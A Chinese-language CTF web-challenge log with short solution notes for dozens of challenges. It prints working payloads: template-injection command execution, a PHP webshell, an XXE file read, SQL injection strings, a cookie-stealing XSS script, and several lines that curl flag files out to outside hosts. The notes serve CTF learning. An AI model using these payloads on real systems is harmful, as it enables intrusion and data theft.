web刷题记录

学Amadeus搞个刷题记录（其实是懒得写wp了）

BJDCTF2020

EasySearch

• index.php.swp源码泄露
• 爆破md5
• ssi注入

Mark loves cat

• 变量覆盖，exit的时候输出flag

The mystery of ip

• smarty ssti,{{system("cat /flag")}}命令执行

Cookie is so stable

• twig ssti 命令执行{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ezPHP

• $_SERVER['QUERY_STRING']url编码绕过
• %0a绕过正则
• 利用$_REQUEST解析顺序
• data伪协议
• 数组绕过sha1比较
• create_function()代码注入
• get_defined_vars()获取所有变量值
• 字符串异或和取反

ZJCTF，不过如此

• preg_replace()代码执行

BJDCTF 2nd

fake google

• flask的ssti模板注入

old-hack

• thinkphp rce直接打

duangShell

• curl无回显命令执行

简单注入

• 无'情况下用\注入
• 无select无堆叠注入，但能拿到当前用的表的数据

xss之光

• 这题….直接反序列化一个字符串<script>window.location.href='xxxx'+document.cookie</script>就行
• 预期解是反序列化Exception类，利用__toString()造成xss

文件探测

• php srpintf格式化字符串漏洞，可以用%将后面的%d转义
• AES加密，密钥已知，明文是一个放在session中的随机字符串，并且难以破解。但可以不带PHPSESSID访问使明文为空，即可算出对应密文

GXYCTF2019

BabyUpload

• 上传.htaccess改变文件解析

  SetHandler application/x-httpd-php

• 老版php标签

  <script language='php'>eval($_REQUEST['LionTree'])</script>

• 这题搞了个2048字节的限制。。结果正常的图片一张都传不上去。。无语

StrongestMind

• 写个脚本算术即可

强网杯2019

upload

• GIF89a绕过getimagesize
• 文件上传使用了copy而不是move_uploaded_file,利用反序列化去将已上传的webshell改为.php后缀
• 反序列化exp记得写命名空间。。忘了这个折腾半天

CISCN2019

华北赛区 Day1 Web5 CyberPunk

• 二次注入

华东南赛区 Web11

• smarty ssti,{{system("cat /flag")}}命令执行

华东南赛区 Double Secret

• flask ssti
• flask debug模式安全

华东北赛区 web2

• xss 中<svg>标签的使用,使后面的特殊符号能够用html实体替代

Web4

• urllib.urlopen任意文件读取，^file.*禁了file协议，有三种绕过
  • 空格+file://
  • CVE-2019-9948,local_file://
  • 直接app.py读到源码
• 伪随机数

  random.seed(uuid.getnode())
  app.config['SECRET_KEY'] = str(random.random()*233)

  通过读取/sys/class/net/eth0/address得到mac地址，能够算出uuid.getnode()的值，爆破可以得到SECRET_KEY
• 客户端session安全

FBCTF2019

RCEService

• PCRE回溯次数绕过
• 非预期解，利用换行符绕过
• 黑盒考这个是真想不到。。

BSidesCF 2019

Futurella

• 右键查看源代码..

Kookie

• 登陆后改cookie

Pick Tac Toe

• 直接发包可以覆盖对手走过的地方
• 正常下还真是下不过电脑..

Had a bad day

• 文件包含 不存在的/../flag

SVGMagic

• 将xxe payload伪装成svg文件

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE note [
  <!ENTITY file SYSTEM "file:///etc/passwd" >
  ]>
  <svg height="100" width="1000">
    <text x="10" y="20">&file;</text>
  </svg>

• flag在/proc/self/cwd/flag.txt…

HarekazeCTF2019

encode_and_encode

• 利用json_decode会自动将utf8编码解码

RCTF2015

EasySQL

• 找回密码的地方二次注入
• 这里用了很少见到的"而不是'
• 测试的时候可以直接用'"\这样的组合，一次确定是否存在注入
• 比较坑的是给了个没用的phpinfo，还以为要sql注入写文件覆盖opcache

SWPU2019

Web4

• 无回显情况下的堆叠注入
• 可以用;检测堆叠注入
• prepare statement 绕过关键词过滤
• 变量覆盖导致的文件读取

Web3

• flask前端session伪造
• 上传软链接读取敏感文件
• linux下利用&多语句命令执行
• /proc/self/cwd/读取当前进程路径下的文件
• /proc/self/environ获取当前进程环境变量，得到flask绝对路径
• curl 外带@读文件
• awk声明无法使用的字符

  $(III=`awk 'BEGIN{printf \"%c\", 47}'`&&curl xxx.xxx.xxx.xxx:9999 -T `echo ${III}ctf${III}hgfjakshgfuasguiasguiaaui${III}myflask${III}flag${III}flag.jpg`).zip

Web6

• select with rollup 注入
• session原生类反序列化，soap ssrf

SWPU2018

SimplePHP

• phar反序列化
• phar反序列化记得用绝对路径。。又被这个坑了

EIS 2019

EzPOP

• php伪协议去除死亡exit

GYCTF2020

Node Game

• nodejs http.get设计缺陷，通过Request Splitting造成ssrf
• pug模板命令执行

  - global.process.mainModule.require('child_process').execSync('curl http://174.1.29.57/ -X POST -d `cat /flag.txt`')

Ezsqli

• 在无information_schema的情况下利用sys库获取表名
• 无union select的情况下无列名注入

  1-((select 'a') = (select substr(group_concat(table_name),1,1) from sys.schema_table_statistics_with_buffer where table_schema=database()))

• 看smile师傅的出题笔记还有一个考点是mysql在比较时不区分大小写，需要用CONCAT("A", CAST(0 AS JSON))强制进行字节对字节的比较。不过buu上的环境不知道为啥用不了CAST，而且flag里也没有大写字母

安洵杯 2019

不是文件上传

• insert注入反序列化序列
• 文件名中不能有双引号，需要用16进制插入数据库中

网鼎杯

Unfinish

• register.php直接可以盲注，过滤了,和information
  • ,可以用case when绕过
  • 尝试用innodb的表和sys中的表都没成功，看网上wp都是盲猜存在flag表做的…
• 还有一种做法是注册的时候将想要的内容放入username中，登录查看
  • 可以利用两次hex后是纯数字的特性进行二次注入

    0'%2B(select hex(hex(database())))%2B'0

b01lersCTF 2020

life_on_mars

• 长知识了..第一次见在from位置的注入，黑盒下一脸懵逼..

  cur.execute("SELECT name, description FROM " + search)

Zer0ptsCTF 2020

Can you guess it?

• $_SERVER['PHP_SELF']可控，index.php/config.php会访问index.php,但$_SERVER['PHP_SELF']会是index.php/config.php
• basename()函数缺陷，会把文件名开头的非ASCII值丢掉

notepad

• flask ssti读取secret_key
• 通过session进行pickle反序列化
• 无法弹shell，使用sleep无回显命令执行

urlapp

• redis CRLF注入
• redis BITOP指令，对key做位运算，并把结果保存到新key里
• redis setbit指令，改变key的某一位

MusicBlog

• strip_tags()缺陷，允许在标签名中存在/
• 注入<a/udio id="like" href=http://xxxx>，会被解析成<a>标签，绕过csp
• 不知道为啥在buu上nc收不到数据，需要用requestbin

phpNantokaAdmin

• sqlite注入
• sqlite的sqlite_master中保存了所有表名以及创建表时的create语句
• 在创建表时可以用as来复制另一个表中的数据
• as "..."将原有的干扰字符闭合到查询的别名里
• sqlite []替代双引号

GWCTF2019

你的名字

• flask的SSTI，但是返回的是php的报错…wp上说能用http头判断但buu上的环境只有一个server:openrestry，根本看不出来…
• 过滤了 {{ ,并且会把一些关键字替换为空，使用 {% 加双写绕过 {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popconfigen('curl "http://xss.buuoj.cn/index.php?do=api%26id=uHi9SZ%26location=`cat /flag_1s_Hera`"') %}1{% endiconfigf %}

V&N2020 公开赛

EasySpringMVC

• java 反序列化时会调用类的readObject方法

VolgaCTF 2020 Qualifier

Netcorp

• 幽灵猫读classes目录下的class文件，得到源码，发现存在文件上传
• 上传jsp马后幽灵猫包含

NCTF2019

SQLi

• regexp注入

watevrCTF-2019

Cookie Store

• 改cookie薅羊毛

Pickle Store

• pickle 反序列化